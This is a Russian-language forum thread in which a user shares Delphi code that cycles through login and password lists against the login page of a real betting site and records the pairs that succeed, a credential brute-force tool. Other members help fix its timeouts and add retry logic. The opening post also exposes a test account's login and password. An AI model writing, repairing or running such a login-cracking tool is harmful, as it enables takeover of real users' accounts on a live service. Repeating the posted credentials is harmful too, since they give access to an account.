(Delphi) connection timed out

Discussion in 'С/С++, C#, Rust, Swift, Go, Java, Perl, Ruby' started by Tip.the.besT, 6 May 2011.

  1. Tip.the.besT

    Tip.the.besT Member

    Joined:
    24 Jun 2009
    Messages:
    267
    Likes Received:
    10
    Reputations:
    4
    Вот так полностью выглядит ошибка:

    Socket error #10060 connection timed out.


    Почитал в инете она возникает в разных ситуациях, поэтому пришёл на форум. Я уже голову сломал) Вот весь код:

    Code:
    unit Unit2;
    
    interface
    
    uses
      Windows, Messages, SysUtils, Variants, Classes, Graphics, Controls, Forms,
      Dialogs, StdCtrls, IdAntiFreezeBase, IdAntiFreeze, IdBaseComponent,
      IdComponent, IdTCPConnection, IdTCPClient, IdHTTP, IdIOHandler,
      IdIOHandlerSocket, IdIOHandlerStack, IdSSL, IdSSLOpenSSL,
      IdCustomTransparentProxy, IdSocks;
    
    type
      TForm2 = class(TForm)
        Memo1: TMemo;
        Memo2: TMemo;
        Memo3: TMemo;
        Edit1: TEdit;
        Edit2: TEdit;
        Edit3: TEdit;
        Button1: TButton;
        Memo4: TMemo;
        IdHTTP1: TIdHTTP;
        IdAntiFreeze1: TIdAntiFreeze;
        IdSSLIOHandlerSocketOpenSSL1: TIdSSLIOHandlerSocketOpenSSL;
        procedure Button1Click(Sender: TObject);
      private
        { Private declarations }
      public
        { Public declarations }
      end;
    
    var
      Form2: TForm2;
    
    implementation
    
    {$R *.dfm}
    
    procedure TForm2.Button1Click(Sender: TObject);
    var
    postdata:TStringList;
    i,good,pass,login,ii,chislo:integer;
    
    begin
    i:=0;
    good:=0;
    ii:=0;
    chislo:=1;
    login := memo1.Lines.Count ;
    pass:=  memo2.Lines.Count;
    
    
    form2.IdHTTP1.HandleRedirects:=true;
    
    
    while good<=login  do
    begin
    
    edit1.Text:=inttostr(login);
    edit2.Text:=inttostr(pass);
    postdata:=TStringList.Create;
    postdata.add('do=login');
    postdata.add('doaction=1');
    postdata.add('trg=');
    postdata.add('cs=registration');
    postdata.add('qs=');
    postdata.add('sport=');
    postdata.add('league=');
    postdata.add('toto_id=');
    postdata.add('oddval=');
    postdata.add('sbm=');
    postdata.add('login='+memo1.Lines[i]);
    postdata.add('password='+memo2.Lines[ii]);
    memo3.clear;
    memo3.text:=IdHTTP1.Post('https://www.leonbets.ru/login', postdata);
    application.ProcessMessages;
    
    if pos('<div class="ttl" valign="top">',memo3.Text)<>0 then
    begin
    
    good:=good+1;
    memo4.Lines.Add(memo1.Lines[i]) ;
    memo4.Lines.Add(memo1.Lines[ii]) ;
    memo4.Lines.Add('-----------------');
    i:=i+1;
    ii:=0;
    end;
    
    if ii=pass then
    begin
    ii:=0;
    i:=i+1;
    end;
    
    chislo:=chislo+1;
    edit3.Text:=inttostr(chislo);
    postdata.clear;
    ii:=ii+1;
    end;
    end;
    end.
    
    Судя по всему, что то с запросом.....а хотя я уже хз.

    Акк для тестов---------------7368740;qweewq
     
    #1 Tip.the.besT, 6 May 2011
    Last edited: 6 May 2011
  2. Tip.the.besT

    Tip.the.besT Member

    Joined:
    24 Jun 2009
    Messages:
    267
    Likes Received:
    10
    Reputations:
    4
    Вырвал кусок кода:
    Code:
    unit Unit2;
    
    interface
    
    uses
      Windows, Messages, SysUtils, Variants, Classes, Graphics, Controls, Forms,
      Dialogs, IdBaseComponent, IdComponent, IdTCPConnection, IdTCPClient, IdHTTP,
      StdCtrls, IdIOHandler, IdIOHandlerSocket, IdIOHandlerStack, IdSSL,
      IdSSLOpenSSL;
    
    type
      TForm2 = class(TForm)
        Memo1: TMemo;
        Button1: TButton;
        IdHTTP1: TIdHTTP;
        IdSSLIOHandlerSocketOpenSSL1: TIdSSLIOHandlerSocketOpenSSL;
        procedure Button1Click(Sender: TObject);
      private
        { Private declarations }
      public
        { Public declarations }
      end;
    
    var
      Form2: TForm2;
    
    implementation
    
    {$R *.dfm}
    
    procedure TForm2.Button1Click(Sender: TObject);
    var
    postdata:TStringList;
    begin
    form2.IdHTTP1.HandleRedirects:=true;
    
    postdata:=TStringList.Create;
    postdata.add('do=login');
    postdata.add('doaction=1');
    postdata.add('trg=');
    postdata.add('cs=registration');
    postdata.add('qs=');
    postdata.add('sport=');
    postdata.add('league=');
    postdata.add('toto_id=');
    postdata.add('oddval=');
    postdata.add('sbm=');
    postdata.add('login=7368740');
    postdata.add('password=qweewq');
    memo1.clear;
    memo1.text:=IdHTTP1.Post('https://www.leonbets.ru/login', postdata);
    if pos('<div class="ttl" valign="top">',memo1.Text)<>0 then
    begin
    showmessage('ОПля!');
    
    end;
    end;
    
    end.
    
    Вот посидел потыкал иногда срабатывает, а иногда ошибку выдаёт. Как сделать что бы стабильно работал?
     
  3. 0xF0RD

    0xF0RD Member

    Joined:
    2 Dec 2009
    Messages:
    49
    Likes Received:
    6
    Reputations:
    0
    Это как понимать?

    З.Ы. Сам не тестил, но скорее всего дело в куках (используй компонент IdCookieManager со вкладки IDMisc, его нужно прикрутить к компоненту IdHTTP)
     
    #3 0xF0RD, 6 May 2011
    Last edited: 6 May 2011
  4. Tip.the.besT

    Tip.the.besT Member

    Joined:
    24 Jun 2009
    Messages:
    267
    Likes Received:
    10
    Reputations:
    4
    Преобразуем число в строку, просто в цикл я зачем то положил))

    Если куки прикрутить, то мало того, что это не поможет, да ещё и если авторизируюсь надо будет запросом на выход нажимать..
     
    #4 Tip.the.besT, 6 May 2011
    Last edited: 6 May 2011
  5. xophet

    xophet Member

    Joined:
    16 Apr 2011
    Messages:
    617
    Likes Received:
    49
    Reputations:
    5
    Хм, зачем запросом на выход? почистил куки idCookieManager.Clear и погнал дальше.
     
  6. Tip.the.besT

    Tip.the.besT Member

    Joined:
    24 Jun 2009
    Messages:
    267
    Likes Received:
    10
    Reputations:
    4
    Не не помагло, да и не должно было помочь) Куки же для того,что бы по сессии гулять даны. А в моей ситуации они причём?
     
  7. HakaR

    HakaR Active Member

    Joined:
    23 Jul 2009
    Messages:
    301
    Likes Received:
    200
    Reputations:
    3
    ТС, таймаут соединения не пробывал повышать?
     
  8. xophet

    xophet Member

    Joined:
    16 Apr 2011
    Messages:
    617
    Likes Received:
    49
    Reputations:
    5
    Хм, а меня зацикленным редиректом шлет по кругу:
    11 https://www.leonbets.ru/account?do=account -> https://www.leonbets.ru/login?trg=
    12 https://www.leonbets.ru/login?trg= -> https://www.leonbets.ru/account?do=account
     
  9. Tip.the.besT

    Tip.the.besT Member

    Joined:
    24 Jun 2009
    Messages:
    267
    Likes Received:
    10
    Reputations:
    4
    Как именно? Просто sleep что ли?
     
  10. xophet

    xophet Member

    Joined:
    16 Apr 2011
    Messages:
    617
    Likes Received:
    49
    Reputations:
    5
    idHttp1.ReadTimeout:=10000 в милисекундах
    idHttp1.ConnectTimeout:=10000 в милисекундах
     
    #10 xophet, 6 May 2011
    Last edited: 6 May 2011
  11. xophet

    xophet Member

    Joined:
    16 Apr 2011
    Messages:
    617
    Likes Received:
    49
    Reputations:
    5
    А, это просто новый Indy не совместим со старыми Dll'ками SSl. Чорт, что же делать?(
     
  12. Tip.the.besT

    Tip.the.besT Member

    Joined:
    24 Jun 2009
    Messages:
    267
    Likes Received:
    10
    Reputations:
    4
    А у тебя какой делфи? У меня Delphi XE.
     
  13. xophet

    xophet Member

    Joined:
    16 Apr 2011
    Messages:
    617
    Likes Received:
    49
    Reputations:
    5
    7рочка у меня. Но как я уже сказал проблема не в этом
     
  14. Tip.the.besT

    Tip.the.besT Member

    Joined:
    24 Jun 2009
    Messages:
    267
    Likes Received:
    10
    Reputations:
    4
    Я сам семёрой пользовался тоже с инди рамс был я просто новую делфи скачал и норм. У меня просто ещё и винда семёрочка и как то она тяжко делфи7 воспринимала..
     
  15. Tip.the.besT

    Tip.the.besT Member

    Joined:
    24 Jun 2009
    Messages:
    267
    Likes Received:
    10
    Reputations:
    4
    Спсибо, вот это помогло:

    idHttp1.ReadTimeout:=10000
     
  16. xophet

    xophet Member

    Joined:
    16 Apr 2011
    Messages:
    617
    Likes Received:
    49
    Reputations:
    5
    ConnectTimeout это для Proxy.
     
    1 person likes this.
  17. Tip.the.besT

    Tip.the.besT Member

    Joined:
    24 Jun 2009
    Messages:
    267
    Likes Received:
    10
    Reputations:
    4
    Я знаю что через try можно так сделать, что если ошибка будет то программа просто заново цикл прогоняла с теме же параметрами. Как в моей ситуации сделать?
     
  18. xophet

    xophet Member

    Joined:
    16 Apr 2011
    Messages:
    617
    Likes Received:
    49
    Reputations:
    5
    вот выдрал из своей проги (не знаю, может многоуважаемая публика заклюет за такой код)
    ExcStringList:TStringlist; это список, куда заносится инфа об ошибках, например
    16 Trying to post 0 http://www.mysite.com
    16 Post error 0 site: http://www.Mysite.com Error: Socket Error # 11001 Host not found.
    Terminated: это свойство потока, заменишь на какое-то свое условие
    Temp: Счетчик количества попыток
    Pr.SiteToPost: http://www.Mysite.com
    Pr.SiteAnswer: Собственно результат http.post
    SiteToWork: номер сайта в списке
    e.Message: код Exception'a
    Code:
    Temp:=0;
    repeat
          if not terminated then
          begin
            ExcStringList.Add(IntToStr(TempSitetoWork) + ' Trying to post ' +
              IntToStr(Temp) + ' ' +
              PR.SiteToPost + ' ');
          end;
          try
            if not terminated then
              PR.SiteAnswer := http.Post(PR.SiteToPost, data);
          except on e: EIDexception  do
            begin
              ExcStringList.Add(IntToStr(TempSitetoWork) + ' Post error ' +
                IntToStr(Temp) + ' ');
              ExcStringList.Add('site: ' + PR.SiteToPost + ' Error: ' +
                e.Message
                + ' ');
              PR.SiteAnswer := '';
            end;
          end;
          if (PR.SiteAnswer <> '') and (not terminated) then
          begin
            ExcStringList.Add(IntToStr(TempSitetoWork) + ' Posted');
          end;
          Temp := Temp + 1;
    until (PR.SiteAnswer <> '') or (Temp > 2) or (terminated);
    
    Код будет выполнятся, пока:
    1) будет получен ответ сайта;
    2) количество попыток будет 3;
    3) поток получит команду terminate;
     
    #18 xophet, 7 May 2011
    Last edited: 7 May 2011